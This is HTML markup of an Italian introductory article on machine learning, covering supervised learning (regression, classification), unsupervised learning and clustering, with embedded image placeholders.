    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:54%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;216\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20216\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M92%208C52%2013%2019%2042%207%2081c-3%2012-4%2040%200%2053%2016%2060%2082%2092%20138%2067l6-1h1l9-7a103%20103%200%200038-45l2-7c10-35%206-62-12-89A101%20101%200%200091%208m278%20126c0%203%203%205%205%202%200-1%201-2%202-1l3-1h1l1%201%201-1v-3l1%202c0%201%201%202%204%202h6c2%201%203%200%203-2%200-3-3-4-5-1-2%202-4%203-4%200l2-1h-10l-5-1h-5v4m-42%2022v4h5c4%200%205-1%205-2h1c0%203%207%203%207%200s2-3%202%200c1%202%201%202%202%200s1-2%201%200l1%202%201-3c-1-3-4-4-8-2h-8c-1-1-2-1-4%202l-2%203-1-4c0-4-2-4-2%200m-69%2023v4h6l5-1h5c2-1%202-1%202%201v2l1-1%202-1c3-1%202-4-2-5h-5c-2%201-8%201-8-1l-3-1c-3%200-3%200-3%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7cd50122602e37d1524fd143b3f2f393/c85cb/ai-ml.webp 300w,/static/7cd50122602e37d1524fd143b3f2f393/e88ff/ai-ml.webp 600w,/static/7cd50122602e37d1524fd143b3f2f393/d00b9/ai-ml.webp 800w&quot; sizes=&quot;(max-width: 800px) 100vw, 800px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7cd50122602e37d1524fd143b3f2f393/f93b5/ai-ml.jpg 300w,/static/7cd50122602e37d1524fd143b3f2f393/b4294/ai-ml.jpg 600w,/static/7cd50122602e37d1524fd143b3f2f393/4b190/ai-ml.jpg 800w&quot; sizes=&quot;(max-width: 800px) 100vw, 800px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - AI e Machine Learning&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7cd50122602e37d1524fd143b3f2f393/4b190/ai-ml.jpg&quot; title=&quot;Figura 1 - AI e Machine Learning&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - AI e Machine Learning&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Il machine learning è una disciplina dell&amp;#x27;intelligenza artificiale attraverso la quale è possibile realizzare molte forme di AI.&lt;br/&gt;
Il machine learning raccoglie e utilizza una moltitudine di metodi come le reti neurali artificiali, gli algoritmi adattativi, l&amp;#x27;elaborazione
delle immagini, il data mining, e altri, per creare dei sistemi in grado di apprendere in modo autonomo e progressivo.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Di fatto il machine learning può essere considerato una variante alla programmazione tradizionale, nella quale si predispone
in una macchina l&amp;#x27;abilità di apprendere dai dati (esperienza) in maniera autonoma, senza essere esplicitamente programmata per farlo,
per poi poter riutilizzare ciò che è stato appreso su un certo compito da svolgere.&lt;/p&gt;&lt;h1 id=&quot;tipologie-di-machine-learning&quot;&gt;Tipologie di machine learning&lt;/h1&gt;&lt;p&gt;Il machine learning viene solitamente suddiviso in tre diverse tipologie, più altre di minore importanza (che spesso sono un ibrido tra le tre più importanti).&lt;br/&gt;
Ogni tipologia si differenzia dall&amp;#x27;altra sulla base della forma dei dati utilizzati per l&amp;#x27;addestramento e sulla base del task da svolgere.&lt;/p&gt;&lt;h2 id=&quot;supervised-learning&quot;&gt;Supervised learning&lt;/h2&gt;&lt;p&gt;In questa tipologia di machine learning i modelli vengono addestrati a partire da dati etichettati,
cioè dati per cui sono conosciuti i segnali di output desiderati.&lt;br/&gt;
Ciò che il modello apprende sono una serie di pattern e correlazioni tra il dato e l&amp;#x27;etichetta associata, che riutilizzerà
come base per prendere decisioni su dati futuri.&lt;br/&gt;
Nel caso dell&amp;#x27;apprendimento supervisionato i problemi di machine learning si dividono in due grandi classi: &lt;strong&gt;Regressione&lt;/strong&gt; e &lt;strong&gt;Classificazione&lt;/strong&gt;.&lt;/p&gt;&lt;h3 id=&quot;regressione&quot;&gt;Regressione&lt;/h3&gt;&lt;p&gt;Un&amp;#x27;esempio di problema di regressione può essere quello di stimare il costo di un&amp;#x27;abitazione, descritta da una serie
di variabili, come la superficie, il numero di camere, ecc...&lt;br/&gt;
Nei dati di addestramento, per ogni abitazione, oltre alle variabili descrittive si conosce l&amp;#x27;etichetta (il risultato atteso),
che nel nostro caso è il prezzo dell&amp;#x27;abitazione.&lt;br/&gt;
Nella regressione l&amp;#x27;etichetta è sempre una variabile continua. E quello che si cerca di fare
è trovare, tramite una funzione continua più o meno complessa, una relazione, tra variabili descrittive e etichette.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:706px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/9f21b/regressione.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:36.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;146\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20146\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M22%2018c-2%205-3%207%200%207%201-1%201%204%201%2037%200%2034%200%2038-2%2038l-1-1c1-3-1-5-4-5s-5%202-5%205%200%203%206%203h6v9l1%209h76c76%200%2076%200%2076%202%201%202%201%202%204%200%206-4%206-4%202-7-4-2-6-3-6%200l-75%201H26v-2l1-4a495%20495%200%200158-34c1%202%204%201%204-2-1-3%209-7%2028-14a2230%202230%200%200032-8h3c2-2%2018-5%2028-5%203%200%204%200%204-2%201-1%200-1-8-1a224%20224%200%2000-60%2014c-17%205-31%2012-43%2018l-12%206c-1-2-3%200-3%202%200%201-2%203-5%204-4%203-4%203-5%201-2-2-4%200-4%203%201%202-1%203-8%208l-9%206a731%20731%200%20012-85c-4-6-4-7-7-3m205%200a414%20414%200%2001-2%2079c-1-6-9-5-10%201%200%202%201%203%206%203l7%201v9l1%209h76c76%200%2076%200%2076%202%201%202%201%202%205%200%205-3%205-4%201-7-4-2-6-3-6%200l-75%201h-75v-6c0-5%200-6%205-13%209-14%2013-15%2023-7l8%206%202%202c1%203%204%202%205%200l2-4c2%200%207-5%2011-11%209-11%2012-13%2013-10%201%202%204%203%204%201l-1-2-1-1v-1c-2-1%2028-18%2030-18l1%202c1%203%204%203%204-1-1-3-1-3%203-4%2012-5%2019-4%2029%201%209%205%2011%205%2011%204%200-2-12-8-19-11-7-1-11-1-22%203-7%203-7%203-7%201s-1-3-3-2v3c1%202%200%202-6%206a229%20229%200%2000-32%2018l-2%202c0%205-13%2019-18%2019-3%200-8-3-14-8-3-3-8-5-9-4l-1-1c-2-2-4-1-4%202%200%202-1%204-3%205l-5%207-4%205a891%20891%200%20011-80c-3-5-3-5-5-1m62%20111c-2%201-1%203%201%204%203%201%203%203%200%202l-2%201c0%202%206%201%207-1h1l4%202c2%200%203%201%203%202%201%201%201%200%201-4v-7h-3c-2%200-3%201-5%203l-2%203-2-2-2-2h2l2-1h-5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/c85cb/regressione.webp 300w,/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/e88ff/regressione.webp 600w,/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/a2af0/regressione.webp 706w&quot; sizes=&quot;(max-width: 706px) 100vw, 706px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/5a46d/regressione.png 300w,/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/0a47e/regressione.png 600w,/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/9f21b/regressione.png 706w&quot; sizes=&quot;(max-width: 706px) 100vw, 706px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - Regressione&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0a1bc9f6a49f0d9cda8f0bb6809e3ecd/9f21b/regressione.png&quot; title=&quot;Figura 2 - Regressione&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Regressione&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;In figura è mostrato, ad esempio, l&amp;#x27;utilizzo di due funzioni di diversa complessità, in grado di apprendere un certo
andamento della curva, che verrà poi utilizzato per produrre stime su dati futuri.&lt;/p&gt;&lt;h3 id=&quot;classificazione&quot;&gt;Classificazione&lt;/h3&gt;&lt;p&gt;Nella classificazione le etichette sono valori discreti non ordinati che possono essere considerati appartenenti a un gruppo di una classe.&lt;br/&gt;
Utilizzando un algoritmo d’apprendimento automatico con supervisione, saremo in grado di separare le due classi (attraverso l&amp;#x27;individuazione di
un confine decisionale) ed associare i dati, sulla base dei loro valori, alle diverse categorie, con un certo valore di confidenza.&lt;br/&gt;
La classificazione può essere binaria o multiclasse.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1181px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7ba954cc5291fe27e131cfcee2da3731/712f7/classificazione.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;259\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20259\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M20%2014v3l1%20111v111a31765%2031765%200%2000213-1c-158%200-162%200-160-2a4163%204163%200%200094-91C314%204%20305%2012%20302%2013L96%20211l-28%2027H22V127a2142%202142%200%20011-113c-1-2-3-3-3%200m68-1c-8%204-11%2010-11%2017%200%209%203%2014%209%2018l9%201%203-2%204-3c0-2%202-2%202%201%200%204%204%201%207-6%204-9%201-19-7-24-4-3-13-4-16-2M42%2025v6c0%206%200%206-5%2010-4%203%202%2013%209%2016%209%204%2021%201%2022-6%205-23%204-27-4-22-5%203-13%202-18-2-3-3-3-3-4-2m85%207c-3%201-3%202-3%204%200%203%200%203-2%203-3-1-3%200%200%202s4%206%202%206v4c0%205%202%208%202%205s4-5%205-3l1%207-3-1-2-2-1%204c0%205%201%206%208%207%209%200%2017-5%2020-14%202-7%201-11-4-17l-5-4v4l-1%206-2-9c1-4-8-6-15-2M77%2051c-10%203-16%2013-14%2022%201%205%204%2010%205%208h3l2-1%202-1%201-1%202-2%202-2c0-3%202-4%204-3l3%204h4l2%201%201%201v1l1%202c0%203%202%202%203-1%203-6%203-15-1-20-3-5-4-6-5-4-1%201-1%201-1-1%200-3-8-5-14-3M29%2067c0%205%200%205-2%204-6-1-4%2015%202%2021%206%205%2016%206%2017%202l4-5c4-4%2010-19%208-20h-7c-2%201-11-1-14-4-5-3-7-3-8%202m86%203c-12%203-17%2016-13%2027%202%204%205%206%205%203l1-2-1-2c-2%201-3-4-1-7%201-1%201-1%201%201%200%205%204%205%206%201l2-2%202-2c1-3%203-2%203%201%200%204%203%205%208%204%204-1%207%201%207%205s4-5%204-9c0-7-5-15-9-14h-2v-2c-1-2-8-3-13-2m92%2096c-3%202-9%207-9%209h3c8-5%2016-6%2020-3l4%203c-1%201-2%200-4-1-3-2-8-2-13%201l-5%201c-3%200-5%203-5%207v4l1%204c2%207%209%2011%2016%2011s13-3%2013-5v-1c5%202%209-15%205-22-5-8-17-12-26-8m134%201c1%203%201%203-1%203s-2%200-2%204c0%205-1%208-2%204-1-1-1-2-3-1-2%200-2%200-1-2l1-4v-3c-2-1-4%200-4%202l-1%201c-2-1-2%200-2%204s0%205-2%207c-2%200-3%202-3%202%200%202%207%208%209%208l3%201%203%201c3%200%204-1%201-3-3-5%201-6%209-2%205%203%205%203%205-5v-8c2-3-1-6-6-9l-4-2v2m-50%206l-3%201-3%202-1%203c-2-2-3%2013-1%2016l2%201h2l4%202a360%20360%200%20001%202c-2%202%203%201%205-2%204-4%205-3%202%201s-4%205-2%205c3%200%208-8%208-11s1-2%201%202c2%207%204%207%208%202s5-16%201-15l-2-1c-1-2%200-2%201-2%203%200%203%200%201-3-1-4-2-4-3-1-1%202-1%203-2%202l-1-1-1-1c-1-1-1%200-1%201%200%202-4%201-6-2-1-2-1-2-2%200-2%203-2%204%201%204l2%202%202%203-4%201-5%203c-1%201-1%201%201%201h6l-6%204c-2%200-6-1-4-2l1-5c-1-4%200-6%201-7%202-1%203-4%200-4l-1-1c1-2-1-2-2%200m76%205c-7%202-13%2013-12%2021%204%2018%2025%2022%2034%207%203-6%203-16-1-21-5-7-13-9-21-7m-102%2020c-12%206-15%2023-5%2031%203%203%203%203%205%201h1v2c1%202%203%202%203%200s0-2%202-2l2%201v2c0%202%200%202%202%201l3-1h1c2%201%208-3%2010-7%207-11%201-27-9-27l-3-1c-1-2-7-2-12%200m4%202l-3%204c-1%203-1%203%202%203%202-1%203%200%201%201l-1%203c-1%201%200%202%202%202%203%200%204%200%204%203l1%204%201-4c-1-4-1-4%201-4%203%202%205%202%205%201l-2-3-2%201c-4%200-6-4-4-6l1%201%202%201%202%201%202-4h-1l-3-2c-2-2-4-3-8-2m58%202c-8%204-11%2010-5%209l3-1-2%204-2%2010c-1%206-1%206%202%209l3%202%204%201c15%204%2025-4%2024-19-1-14-15-22-27-15\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7ba954cc5291fe27e131cfcee2da3731/c85cb/classificazione.webp 300w,/static/7ba954cc5291fe27e131cfcee2da3731/e88ff/classificazione.webp 600w,/static/7ba954cc5291fe27e131cfcee2da3731/a110d/classificazione.webp 1181w&quot; sizes=&quot;(max-width: 1181px) 100vw, 1181px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7ba954cc5291fe27e131cfcee2da3731/5a46d/classificazione.png 300w,/static/7ba954cc5291fe27e131cfcee2da3731/0a47e/classificazione.png 600w,/static/7ba954cc5291fe27e131cfcee2da3731/712f7/classificazione.png 1181w&quot; sizes=&quot;(max-width: 1181px) 100vw, 1181px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Classificazione&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7ba954cc5291fe27e131cfcee2da3731/712f7/classificazione.png&quot; title=&quot;Figura 3 - Classificazione&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Classificazione&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Un esempio di classificazione potrebbe essere quello di determinare se, data un&amp;#x27;immagine, si tratta di un&amp;#x27;immagine
di cane o gatto.&lt;br/&gt;
Le variabili predittive in questo caso potrebbero essere la forma delle orecchie e la dimensione del naso (feature che vengono
estratte attraverso opportune tecniche di elaborazioni di immagini), mentre l&amp;#x27;etichetta semplicemente specifica se si tratta
di un cane o di un gatto.&lt;br/&gt;&lt;/p&gt;&lt;h2 id=&quot;unsupervised-learning&quot;&gt;Unsupervised Learning&lt;/h2&gt;&lt;p&gt;Nell’apprendimento senza supervisione, al contrario di quello con supervisione, abbiamo dei dati senza etichetta.
In questo caso non si può quindi contare su una variabile nota relativa al risultato.&lt;br/&gt;
Queste tecniche cercano di osservare la struttura dei dati e di estrapolare da questi, informazioni cariche di significato.&lt;br/&gt;
La maggior parte dei task di tipo non supervisionato ricadono nella classe dei problemi di &lt;strong&gt;Clustering&lt;/strong&gt;.&lt;/p&gt;&lt;h3 id=&quot;clustering&quot;&gt;Clustering&lt;/h3&gt;&lt;p&gt;Il Clustering è una tecnica esplorativa che consente di aggregare all’interno di gruppi (detti cluster) dei dati per i quali
non abbiamo precedente conoscenza di appartenenza a gruppi.&lt;br/&gt;
Avremo quindi dei grossi dataset, dove i dati al loro interno hanno delle feature simili tra loro.
All’interno di ogni singolo gruppo (o cluster) troveremo quei dati che presentano un certa similarità.&lt;br/&gt;
Il clustering è un’ottima tecnica che ci permette quindi di scovare relazioni tra i dati, e di svolgere la cosiddetta
&lt;strong&gt;exploratory data analysis&lt;/strong&gt;.
Ad esempio, il clustering permette ai venditori, di identficare cluster di clienti, in base ai loro profili, per migliorare
l&amp;#x27;attività di marketing (market segmentation).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:700px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9eecd1dac8423c548f98ebe8850b17cf/8c557/clustering-topic.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:100%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;400\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20400\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M16%2025l-1%209v20l1%209-1%209v20c2%202%201%2018%200%2018l-2%201%202%201c1%200%202%2016%200%2017v40l1%209-1%209v1c2%202%201%2018-1%2018v1c2%200%203%2017%201%2018v40l1%209-1%209v1c2%202%201%2018-1%2018v1c2%200%203%2017%201%2018v2c1%200%202%2017%200%2017v21c2%200%201%2017%200%2017v2l1%204v3h8l8%201h1c0-2%2020-2%2020%200h1c0-2%2020-2%2020%200h1c0-2%2020-1%2020%201h1c0-2%2019-3%2020-1h1c0-2%2020-2%2020%200h1c0-2%2020-2%2020%200h1c0-2%2020-2%2020%200h1c0-2%2020-1%2020%201h1c0-2%2020-3%2020-1h23c0-2%2020-1%2020%200h1l10-1%2010%201h1c0-2%2020-1%2020%201h1c0-2%2019-3%2020-1h1c0-2%2020-2%2020%200h1c0-1%2020-2%2020%200h1l7-1%206-1H17V202a17220%2017220%200%2000-1-177m198%2089v2l3%202%203%202v2h-2c-2-2-4%200-4%203s0%203%202%203h4l4-1c0%203%204%204%205%202%202-3%203-2%204%201%201%202%201%202%202%201%201-2%202-2%203%200l2%203%202-3%203-2%201-2c0-2-6-2-8%201h-1c-1-1%201-4%203-4%204-1%209-8%206-8l-2%201c0%204-14%206-18%202l-5-2-2-1c1-2-1-4-2-4l-3%202m-38%205l1%206v1c-1%201%200%201%201%201h5l3%201-3%201-2%201c0%202%201%202%204%200h3c2%201%205-3%204-4v-1h2l-1-1v-4c-1-3-3-3-4-1l-3%203c-2%200-2%200-1-1%201-2%200-4-4-4l-4-1c-1-3-2-1-1%203m20-1l1%205c1%203%201%204%205%204l5%201h2c2%201%204%200%203-2v-1l1-2c0-2-5-2-6%200-1%201-1%200-1-1-1-4-3-4-4-1%200%203-3%201-3-2%200-2-2-3-3-1m59%208l1%203c2%201%200%206-2%206v-5c-2%200-5%205-5%207h2l2%201c1%201%200%201-1%201-3%200-3%202-1%203%202%200%202%201%201%201-2%202-1%203%201%204l5%202c2%202%202%202%204%200%203-3%202-5-2-3-3%201-3%201%200-2s3-3%204-1c2%202%202%202%204%201%204-1%203-3-1-4-4%200-8-5-7-7v-3l2-2%202-2c0-2%201-2%202%201%202%203%202%203%200%204v5l-1%202h5c2%201%203-1%202-4-2-4%202-8%206-4%201%202%201%202-1%205l-4%204v4c4%200%2012-12%208-12-1%200-2-1-1-2l1-1c1%201%202-1%202-4h-9v-1l-2%201h-3l-2%201c-1-3-4-2-4%200h-1l-4-2c-3-1-3%200-3%203m-26%2018c-3%200-2%203%201%205l3%203h-4c-3%202-2%204%200%204%203-1%203%200-1%203-2%203-2%203%200%204s2%201%203-1l2-1-2%204-1%203%208-4-4-4-1-3c0-3%201-4%202-4l1-1h1c2%203%204%202%204%200l-2-2-2-3c-1-3-3-4-8-3m-70%203l-2%205c-3%204-2%207%201%203h1l-2%204c-3%202-3%205%200%203%202-2%203-2%204%200%202%201%202%201%200%201l-3%202c0%202-1%202-1%201l-2-1c-2%200-2%200-1%201s1%201-1%201-4%203-2%205c1%202%204%201%204-1h1c1%201%201%201%201-1%201-1%201-1%201%201l-1%203v1c2%201%205%200%204-1l2-1c2%201%202%201%202-1l-1-4-2-1c-2%200-2%200%200-1s4-4%202-4l-1-2-1-2v-3l-1-5v-3l-1-2-1%202m106%202l-2%203-4%202c-3%201-3%200-4-2s-1-3-2-2l-1%202c1%201%200%201-1%201-2-1-4%205-2%206l1%202%202%201%201-2c0-2%200-3%201-2l2-1c2-2%204%201%203%204%200%201%200%202%202%202l1-3c-1-2-1-3%202-3%202-1%203-1%202-2h1l1-1v-4c1-1%201-3-1-3l-2%202m-84%2015l1%203%201%203c0%202%200%203%202%203l7%201c-1%201%201%204%202%202s4-1%203%201c0%202%206%205%207%205%201-1-1-5-3-5s-2-1-1-2c0-3%200-3-2-3s-3%200-2-3c0-2%200-2-1-1l-1%201c-1-2-2-2-4-2h-5l-2-1c1-1-1-4-2-4v2m-50%200c-6%201-4%202%202%202s7%200%206%201l-1%204c-1%201-1%201-1-1%200-4-6-4-7%200%200%203%200%203%203%203%202%200%202%200%201%201-1%200-2%201-1%202h2l2-2%201-1%202-2%201-2v3l2%201%201-2v-3l1%202c0%204%204%204%204%200%201-3-1-4-1-1-1%202-1%202-1%200%200-3-3-6-4-4l1%201c1%201%201%201-1%201l-2-1c-1-2-6-3-10-2m58%2017c-1%201-2%203-1%204v3l5%205c2%200%201-3-1-3-1-1%200-1%201-1l3%201c0%203%203%205%205%204h3l2%201%203%202c0%202%202%203%203%201l-1-3-1-2%203%201%204-1-2-2-1-1c0-3-2-3-4-2l-4%202-9-3-2-1-1-2c1-4-2-6-5-3m119%204l-3%202c-5-1-7%200-8%202s-1%202-1%200-6-3-6-1h-1c-1-2-4%200-4%202%201%203%206%204%209%202h1l2%201c2%200%203%201%201%203v2c1%201%205%202%205%200l-2-1-1-4c1-4%203-6%203-3l1%203v1l2%203c1%202%202%202%202%201%201-2%201-3-2-6-2-2-2-2%200-3%201-2%202-2%202%201%200%202%201%202%207%203%206%200%207%200%207-2l1-2v2c0%202%201%202%203%202%203%200%203-1%203-4s-2-4-2-1c0%202%200%202-1%201%200-1-1-2-7-1-8%200-8%200-7%202l-1%201c-2%200-2-1-1-3v-1l-1-2-1-2v2m-69%207l-2%203-1%202c1%200%200%202-3%205s-2%205%203%205c3%201%206%203%203%203-2%200-3%206-1%208%201%202%201%202-1%202s-2%200-2%202c0%203%204%205%207%202h3c0%201%201%202%204%202%204%200%204-3%201-7-3-3-5-3-5%200%201%201%200%202-1%202l-1%201h-1l-1-4-1-4-1-1h1l1-1c-1-2%200-1%202%201h3c2-3%203-2%203%201l1%203%202-4c0-4-1-5-3-5l-4%201h-2l-1-1-2-2-4-1c-3%201-3-1%201-2s5-3%202-3v-1l1-3v-5l-1%201m-21%207c-1%201%201%208%203%208%201%200%201%201-1%202-3%202-3%205%200%205%202%201%203%202%202%203h-2l-3%201c-2%201%201%203%204%203l4%201c1%203%202%203%203%201l-2-5c-3-3-3-4-1-5v-2c-2-1-1-2%202-2l4-1c0-2-5-2-7-1h-1l2-2%202-2h-5l-2-2c-1-3-2-4-2-2m-115%204l-5%203c-8%202-7%202-6%203l5%201%204%201c1%201%202%202%203%201v1c-2%202-1%203%202%203%201%200%202%200%201%201l-2%201c0%201-1%202-3%202-5-1-5%203%200%204%203%200%204%201%205%204%201%204%200%205-3%204-2%200-2%200-2%202l1%202%201%201c0%202%204%205%206%205l2%201c2%203%204%203%204%200l2-2c2%201%205-1%204-2-1-2-1-8%201-7l1-2c0-4%201-2%201%202%200%205%206%209%206%204h2c1%201%201%201%201-1l1-1%202-1c0-3%201-4%202-2h3c1%200%202-5%200-5v-3l-1-1%202-1%202-2h-8c-2%201-2%201-2-1%201-3-3-2-5%201l-2%204c-2%200-2-5%200-6l-1-1h-2c-1-2-4%200-4%202l-1%202v3c1%203-2%205-4%203-1-2-3%200-4%202s-1%202-1-1l-1-3c-2%203-3-5-1-8%201-1%200-3-3-4l-2-2h3c1-1%200-1-1-1v-2c2-3-1-6-3-4m-39%2012l-3%203c-3%202-2%203%202%203h6l4%201h1l-6%206-1%202-1%201c-2-2-3%200-2%202%203%203%208%201%209-6l1-3%202%202c3%202%205%203%205%201s-4-6-6-6l-1-1-2-1c-2%200-4-2-2-2l1-2h-7m132%203c0%203%201%205%203%203h3l3%201c2-1%202%200%201%201l-1%205c0%203-1%204-2%205-2%200-5%203-6%207%200%205%201%207%203%204l5-3c3-2%204-2%203-3h-3c-2%202-3%202-4%200s0-3%205-2c2%200%202%200%202-2-1-3-1-3%201-4%202%200%203-2%200-3-2-1-2-3%200-3l2-1h1l2%201v1c-1%201-1%208%201%209l1-3%201-3%201-1c0-2-3-6-5-6l-1-1-2-1h-7c-1%201-2%201-2-1-1-3-4-3-5%200m-39%204c-1%201%200%201%201%202%203%201%204%203%202%202h-3c-1%201-2%200-4-1h-4c-2-1-2-1-3%202-2%204-1%205%207%205h7l8-1v-2l-2-1-2-2-1-3c1-2-5-3-6-1m74%205l-4%204-1%203c2%202%201%205%200%205-3%200-2%203%200%203h5c2-1%202-1%202%201l-1%204c-2%201%201%202%203%201h4c2%201%203%200%203-1l-2-1-2-2h2c2%200%201-3-1-4-1-1-1-1%201-2v-3l-1-4c1-3%201-3-2-4l-4-2c0-1-1-1-2%202m64%202l-2%201-1%202c1%202%200%203-1%203-2%201-3%205%200%206l2-1%203%201c1%202%202%202%202%201l5-1c4%200%204%200%203%203l1%202%201%201c0%202%203%205%204%205%202%200%201-4-1-7l-1-4c2%201%205-1%205-4%200-2%200-2-1%200%200%202-3%203-4%202%200-1%201-3%202-2l1-1-2-1c-3%201-5-1-3-3%203-1%202-3%200-3s-3%203-4%208h-1c-1-2-1-2-1%200s-2%203-2%200l-2-2c-2-1-3-5-1-5l1-1-1-2-2%202m-54%200l2%202v1l-2%201c0%201%202%202%203%201l2%201-2%201c-2%200-2%200-2%202l1%204%202%201%201-1h2l3%202c2%200%201-3-2-5-3-3-3-3-1-3s2%200%202-2v-2c2%200%203-2%202-3s-3%200-3%202h-1c-2-2-7-4-7-2m32%206l-1%202h-1l-1%201v-1c1-1%200-2-3-2-4%200-4%201-4%203l-2%203c-2%200-3%202-1%205%202%202%204%200%204-3s3-3%204-1l3%202c1-1%203%200%204%201%202%203%205%201%203-2-1-1-1-1%201-2%202%200%203-2%201-2l-1-1%201-1%201-1c0-2-3-1-4%201%200%202%200%202-1%200l-1-2v2c0%202%200%202-1%200l-1-2m-95%209c0%202-1%203-2%203-2%200-2%200-2%202v2l-1%201c0%201%201%202%202%201l2%201-2%201h-3c-2%201-2-4-1-5%203-1%201-3-2-2-3%200-4%200-5-2s-5-2-5%201v2c-2%201%200%205%203%205%204%201%205%200%203-2-2-1-2-1-1-2%202-1%204%201%203%205%200%203%200%204-3%204l-3-1-4-1c-3-1-4%201-2%203v5c0%202%201%203%202%203l1%202c0%201%202%202%203%200s3-1%202%201c-1%204%201%206%203%2